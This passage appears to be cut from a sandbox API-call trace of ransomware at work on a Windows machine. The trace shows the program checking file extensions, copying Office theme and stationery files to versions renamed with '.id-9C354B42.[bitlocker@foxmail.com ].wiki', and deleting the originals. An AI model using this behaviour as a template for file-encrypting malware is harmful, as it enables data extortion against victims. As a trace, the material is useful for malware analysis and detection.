(lpString1=".pdf", lpString2=".TXT") returned -1 [0050.749] lstrlenW (lpString=".xls") returned 4 [0050.749] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0050.749] lstrlenW (lpString=".xlsx") returned 5 [0050.749] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0050.749] lstrlenW (lpString=".ppt") returned 4 [0050.749] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0050.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0050.749] lstrlenW (lpString=".zip") returned 4 [0050.749] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0050.749] lstrlenW (lpString=".rar") returned 4 [0050.750] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0050.750] lstrlenW (lpString=".bz2") returned 4 [0050.750] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0050.750] lstrlenW (lpString=".7z") returned 3 [0050.750] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0050.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0050.750] lstrlenW (lpString=".dbf") returned 4 [0050.750] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0050.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0050.750] lstrlenW (lpString=".1cd") returned 4 [0050.750] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0050.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0050.750] lstrlenW (lpString=".jpg") returned 4 [0050.750] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0050.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0050.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0050.750] lstrlenW (lpString=".doc") returned 4 [0050.750] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0050.750] lstrlenW (lpString=".docx") returned 5 [0050.750] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0050.750] lstrlenW (lpString=".pdf") returned 4 [0050.750] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0050.750] lstrlenW (lpString=".xls") returned 4 [0050.750] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0050.750] lstrlenW (lpString=".xlsx") returned 5 [0050.750] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0050.750] lstrlenW (lpString=".ppt") returned 4 [0050.750] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0050.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0050.750] lstrlenW (lpString=".zip") returned 4 [0050.750] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0050.750] lstrlenW (lpString=".rar") returned 4 [0050.751] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0050.751] lstrlenW (lpString=".bz2") returned 4 [0050.751] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0050.751] lstrlenW (lpString=".7z") returned 3 [0050.751] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0050.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0050.751] lstrlenW (lpString=".dbf") returned 4 [0050.751] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0050.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0050.751] lstrlenW (lpString=".1cd") returned 4 [0050.751] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0050.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0050.751] lstrlenW (lpString=".jpg") returned 4 [0050.751] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0050.751] lstrcmpiW (lpString1=".gif", lpString2=".wiki") returned -1 [0050.751] lstrlenW (lpString="Wrinkled_Paper.gif") returned 18 [0050.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0050.931] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=15063) returned 1 [0050.934] CloseHandle (hObject=0x1f0) returned 1 [0050.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif")) returned 0x20 [0050.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\wrinkled_paper.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0050.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0050.934] lstrlenW (lpString=".doc") returned 4 [0050.934] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0050.934] lstrlenW (lpString=".docx") returned 5 [0050.934] lstrcmpiW (lpString1=".docx", lpString2="r.gif") returned -1 [0050.934] lstrlenW (lpString=".pdf") returned 4 [0050.934] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0050.934] lstrlenW (lpString=".xls") returned 4 [0050.934] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0050.934] lstrlenW (lpString=".xlsx") returned 5 [0050.934] lstrcmpiW (lpString1=".xlsx", lpString2="r.gif") returned -1 [0050.934] lstrlenW (lpString=".ppt") returned 4 [0050.934] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0050.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0050.934] lstrlenW (lpString=".zip") returned 4 [0050.934] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0050.934] lstrlenW (lpString=".rar") returned 4 [0050.935] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0050.935] lstrlenW (lpString=".bz2") returned 4 [0050.935] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0050.935] lstrlenW (lpString=".7z") returned 3 [0050.935] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0050.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0050.935] lstrlenW (lpString=".dbf") returned 4 [0050.935] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0050.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0050.935] lstrlenW (lpString=".1cd") returned 4 [0050.935] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0050.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0050.935] lstrlenW (lpString=".jpg") returned 4 [0050.935] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0050.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0050.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0050.935] lstrlenW (lpString=".doc") returned 4 [0050.935] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0050.935] lstrlenW (lpString=".docx") returned 5 [0050.935] lstrcmpiW (lpString1=".docx", lpString2="r.gif") returned -1 [0050.935] lstrlenW (lpString=".pdf") returned 4 [0050.935] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0050.935] lstrlenW (lpString=".xls") returned 4 [0050.935] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0050.935] lstrlenW (lpString=".xlsx") returned 5 [0050.935] lstrcmpiW (lpString1=".xlsx", lpString2="r.gif") returned -1 [0050.935] lstrlenW (lpString=".ppt") returned 4 [0050.942] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0050.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0050.944] lstrlenW (lpString=".zip") returned 4 [0050.944] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0050.944] lstrlenW (lpString=".rar") returned 4 [0050.944] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0050.944] lstrlenW (lpString=".bz2") returned 4 [0050.944] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0050.944] lstrlenW (lpString=".7z") returned 3 [0050.944] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0050.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0050.944] lstrlenW (lpString=".dbf") returned 4 [0050.944] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0050.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0050.944] lstrlenW (lpString=".1cd") returned 4 [0050.944] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0050.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned 76 [0050.955] lstrlenW (lpString=".jpg") returned 4 [0050.955] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0050.962] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0050.962] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0050.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.982] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=19780) returned 1 [0050.982] CloseHandle (hObject=0x204) returned 1 [0050.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0050.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.983] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.983] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0050.983] GetLastError () returned 0x0 [0050.983] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x4d44, lpOverlapped=0x0) returned 1 [0050.985] WriteFile (in: hFile=0x1dc, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x4d50, lpOverlapped=0x0) returned 1 [0050.986] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.986] WriteFile (in: hFile=0x1dc, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.986] SetEndOfFile (hFile=0x1dc) returned 1 [0050.986] CloseHandle (hObject=0x1dc) returned 1 [0050.987] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.987] SetEndOfFile (hFile=0x204) returned 1 [0050.988] CloseHandle (hObject=0x204) returned 1 [0050.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0050.988] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1 [0050.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0050.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0050.989] lstrlenW (lpString=".doc") returned 4 [0050.989] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.989] lstrlenW (lpString=".docx") returned 5 [0050.989] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.989] lstrlenW (lpString=".pdf") returned 4 [0050.989] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.989] lstrlenW (lpString=".xls") returned 4 [0050.989] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.989] lstrlenW (lpString=".xlsx") returned 5 [0050.989] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.989] lstrlenW (lpString=".ppt") returned 4 [0050.989] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0050.989] lstrlenW (lpString=".zip") returned 4 [0050.989] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.989] lstrlenW (lpString=".rar") returned 4 [0050.989] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.989] lstrlenW (lpString=".bz2") returned 4 [0050.989] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.989] lstrlenW (lpString=".7z") returned 3 [0050.989] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0050.989] lstrlenW (lpString=".dbf") returned 4 [0050.989] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0050.989] lstrlenW (lpString=".1cd") returned 4 [0050.989] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0050.989] lstrlenW (lpString=".jpg") returned 4 [0050.990] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0050.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0050.990] lstrlenW (lpString=".doc") returned 4 [0050.990] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0050.990] lstrlenW (lpString=".docx") returned 5 [0050.990] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0050.990] lstrlenW (lpString=".pdf") returned 4 [0050.990] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0050.990] lstrlenW (lpString=".xls") returned 4 [0050.990] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0050.990] lstrlenW (lpString=".xlsx") returned 5 [0050.990] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0050.990] lstrlenW (lpString=".ppt") returned 4 [0050.990] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0050.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0050.990] lstrlenW (lpString=".zip") returned 4 [0050.990] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0050.990] lstrlenW (lpString=".rar") returned 4 [0050.990] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0050.990] lstrlenW (lpString=".bz2") returned 4 [0050.990] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0050.990] lstrlenW (lpString=".7z") returned 3 [0050.990] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0050.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0050.990] lstrlenW (lpString=".dbf") returned 4 [0050.990] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0050.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0050.990] lstrlenW (lpString=".1cd") returned 4 [0050.990] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0050.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0050.990] lstrlenW (lpString=".jpg") returned 4 [0050.990] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0050.991] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0050.991] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0050.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.992] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=2181) returned 1 [0050.992] CloseHandle (hObject=0x204) returned 1 [0050.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0050.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0050.992] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.992] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0050.994] GetLastError () returned 0x0 [0050.994] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x885, lpOverlapped=0x0) returned 1 [0050.995] WriteFile (in: hFile=0x1dc, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x890, lpOverlapped=0x0) returned 1 [0050.996] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.996] WriteFile (in: hFile=0x1dc, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.996] SetEndOfFile (hFile=0x1dc) returned 1 [0050.997] CloseHandle (hObject=0x1dc) returned 1 [0050.997] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.997] SetEndOfFile (hFile=0x204) returned 1 [0050.998] CloseHandle (hObject=0x204) returned 1 [0050.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0050.998] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0050.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.999] lstrlenW (lpString=".doc") returned 4 [0050.999] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.999] lstrlenW (lpString=".docx") returned 5 [0050.999] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.999] lstrlenW (lpString=".pdf") returned 4 [0050.999] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.999] lstrlenW (lpString=".xls") returned 4 [0050.999] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.999] lstrlenW (lpString=".xlsx") returned 5 [0050.999] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.999] lstrlenW (lpString=".ppt") returned 4 [0050.999] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.999] lstrlenW (lpString=".zip") returned 4 [0050.999] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.999] lstrlenW (lpString=".rar") returned 4 [0050.999] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.999] lstrlenW (lpString=".bz2") returned 4 [0050.999] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.999] lstrlenW (lpString=".7z") returned 3 [0050.999] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.999] lstrlenW (lpString=".dbf") returned 4 [0050.999] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.999] lstrlenW (lpString=".1cd") returned 4 [0050.999] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0050.999] lstrlenW (lpString=".jpg") returned 4 [0051.000] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0051.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0051.000] lstrlenW (lpString=".doc") returned 4 [0051.000] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.000] lstrlenW (lpString=".docx") returned 5 [0051.000] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.000] lstrlenW (lpString=".pdf") returned 4 [0051.000] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.000] lstrlenW (lpString=".xls") returned 4 [0051.000] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.000] lstrlenW (lpString=".xlsx") returned 5 [0051.000] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.000] lstrlenW (lpString=".ppt") returned 4 [0051.000] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0051.000] lstrlenW (lpString=".zip") returned 4 [0051.000] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.000] lstrlenW (lpString=".rar") returned 4 